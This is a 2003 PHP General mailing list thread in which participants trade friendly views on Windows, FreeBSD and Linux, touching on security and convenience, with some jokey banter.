PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] non-php issue
Not saying that there aren't lots of reasons to like and run Unix. I run FreeBSD as my webserver, for instance, because I think its the right OS for the job. I run WinXP on my desktop, though, because it has the applications I want to use, is familiar and comfortable to me, and I have the hardware to make it an enjoyable experience. I run the dreaded Outlook Express, and I (usually) love the integration present in Windows. Sure, that integration makes it easier to do stoopid things, but remember it's people that kill people, not guns. Because I use FreeBSD, I know a lot of BSD gurus--you know the type: long hair, longer beard, eyes that look like pissholes in the snow. You should hear what these guys have to say about Linux. It's just a big daisy-chain of supposed superiority. I'm not trying to stand on a soap box and defend Windows... I just think that mocking others for using what they like/know/have is not a good idea, whether it's Windows, Linux, BSD, whatever. And in this case, mocking someone who has AIDS is probably not as useful as helping him to prevent spreading it, which is sorta what he was asking (IINM). Though this is probably not the venue for his question... Cheers, Pete. - Original Message - From: "Robert Cummings" <[EMAIL PROTECTED]> To: "Raditha Dissanayake" <[EMAIL PROTECTED]> Cc: "Peter James" <[EMAIL PROTECTED]>; "PHP-General" <[EMAIL PROTECTED]> Sent: Sunday, September 21, 2003 11:08 PM Subject: Re: [PHP] non-php issue > On Mon, 2003-09-22 at 01:09, Raditha Dissanayake wrote: > > relax guys, > > > > I have been dying to say "You can fix all of your problems by > > formatting your computer and installing a linux distribution." On this > > list for ages :-) > > > > but the fact remains that an out of the box installation of any of the > > linux distros are far more secure than anything putout by that redmond > > company. > > All security advantages aside, I prefer linux because everytime I > install a new program or service I don't need to reboot :) > > Cheers, > Rob. > -- > .. > | InterJinn Application Framework - http://www.interjinn.com | > :: > | An application and templating framework for PHP. Boasting | > | a powerful, scalable system for accessing system services | > | such as forms, properties, sessions, and caches. InterJinn | > | also provides an extremely flexible architecture for | > | creating re-usable components quickly and easily. | > `' > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] non-php issue
> Hey, man. This is NOT AIDS. Oh, sorry... wrong list. :-) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php